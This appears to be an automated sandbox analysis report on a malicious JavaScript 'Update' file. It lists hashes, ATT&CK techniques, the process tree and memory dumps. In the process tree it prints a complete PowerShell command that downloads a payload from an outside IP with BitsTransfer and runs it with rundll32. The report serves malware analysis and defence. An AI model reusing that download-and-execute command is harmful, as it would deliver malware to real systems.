0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17

Resubmissions

15-08-2024 20:42

240815-zhg3jaxglr 10

14-06-2024 12:05

240614-n89dxszekb 10

28-05-2024 22:27

240528-2dhvdagb62 10

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14-06-2024 12:05

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General

Target

Update_25_04_2024_3146918.js
Size

135KB
MD5

bf7f711e823916e5f56ff4d2286ee866
SHA1

d9c9d093ce5f1cbc78280ab0232b5d6ef8c25729
SHA256

0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17
SHA512

842616018719df7c6ee7cac5996ea1399a2a459353ee96de2bf9fda122aac861baa0a5c848dad1d4aa756fab897d1e7a978eac359458d52801020685db67d941
SSDEEP

1536:XDOApMn1gDmN2yBCn/yA3seAeLCMamLcInL1VXJ3Duvnr:6A+n1gDmNnw/yA3slMamLcInL7tDuvr

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2412	powershell.exe
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2412	2552	wscript.exe	28
PID 2552 wrote to memory of 2412	2552	wscript.exe	28
PID 2552 wrote to memory of 2412	2552	wscript.exe	28
PID 2412 wrote to memory of 2712	2412	powershell.exe	30
PID 2412 wrote to memory of 2712	2412	powershell.exe	30
PID 2412 wrote to memory of 2712	2412	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_25_04_2024_3146918.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M3VTVE0JAGQQXZPYO29Z.temp

Filesize
7KB

MD5
a9643602c79da4b46405ce570b3313cb

SHA1
e1434b4c5fd0ad936a2a232adb5079b6e62a1f9c

SHA256
fb69abd56b5f8951077bacb5aee052dbaf9a2423e28693cacadb822b1ea0b8f2

SHA512
05144065abfbc2426e8913fda207174f1fb018242e5a3be5f9b4ee5fd3d99cffa8808cc90b9a1750df8c57ffebed40c63ee41c60e051bee9342da26015d5b244

Download Submit
memory/2412-8-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-19-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-7-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-4-0x000007FEF56BE000-0x000007FEF56BF000-memory.dmp

Filesize
4KB

Download
memory/2412-9-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-11-0x00000000029F0000-0x0000000002A22000-memory.dmp

Filesize
200KB

Download
memory/2412-6-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2412-23-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-10-0x00000000029F0000-0x0000000002A22000-memory.dmp

Filesize
200KB

Download
memory/2412-22-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2412-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2412-20-0x000007FEF56BE000-0x000007FEF56BF000-memory.dmp

Filesize
4KB

Download
memory/2412-21-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

Filesize
9.6MB

Download
memory/2712-18-0x0000000002AF0000-0x0000000002B02000-memory.dmp

Filesize
72KB

Download
memory/2712-17-0x000000001B860000-0x000000001B882000-memory.dmp

Filesize
136KB

Download